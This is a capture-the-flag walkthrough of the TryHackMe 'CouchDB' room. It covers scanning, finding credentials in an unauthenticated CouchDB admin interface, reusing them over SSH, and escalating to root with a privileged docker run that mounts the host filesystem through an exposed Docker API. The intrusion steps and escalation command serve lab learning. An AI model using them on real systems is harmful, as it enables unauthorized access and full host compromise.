TryHackMe: CouchDB
Scan the machine. How many ports are open?
Ok, first thing is first let's add to our /etc/hosts and run rustscan to see what we have....
╰─⠠⠵ rustscan -a couch --ulimit 10000 -- -sC -sV -oA couch -v

What is the database management system installed on the server?
From our nmap scan we can see that the service on 5984/tcp is couchdb
5984/tcp open http syn-ack CouchDB httpd 1.6.1 (Erlang OTP/18)
Answer: CouchDB
What port is the database management system running on?
Again from our scan we can see the port
Answer: 5984
What is the version of the management system installed on the server?
Again from our scan we can see the version
Answer: 1.6.1
What is the path for the web administration tool for this database ## management system?

Answer: _utils
What is the path to list all databases in the web browser of the database management system?
Answer: _all_dbs
What are the credentials found in the web administration tool?
Looking at the secrets database we see a entry for the username password
Answer:

Compromise the machine and locate user.txt
Attempting to log in via ssh we see the above credentials have been reused .... From here we can cat the flag file user.txt
atena@ubuntu:~$ cat user.txt

Answer: THM{***********}
Escalate privileges and obtain root.txt
Let's see if we can own the box, first up is sudo -l
atena@ubuntu:~$ sudo -l
[sudo] password for atena:
Sorry, user atena may not run sudo on ubuntu.
No.... let's see what groups we are in
atena@ubuntu:~$ id
uid=1000(atena) gid=1000(atena) groups=1000(atena),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
OK adm might help, but in the meantime let's copy over linpeas.sh and see if we spot anything interesting.....

Digging around the output I can not see much, I end up looking at the .bash_histroy file and find a docker command.
166 docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
Using this we can connect to a container running on our target with the host filesystem mounted under /mnt. As we we are root in the container we can access /mnt/root and get our flag.
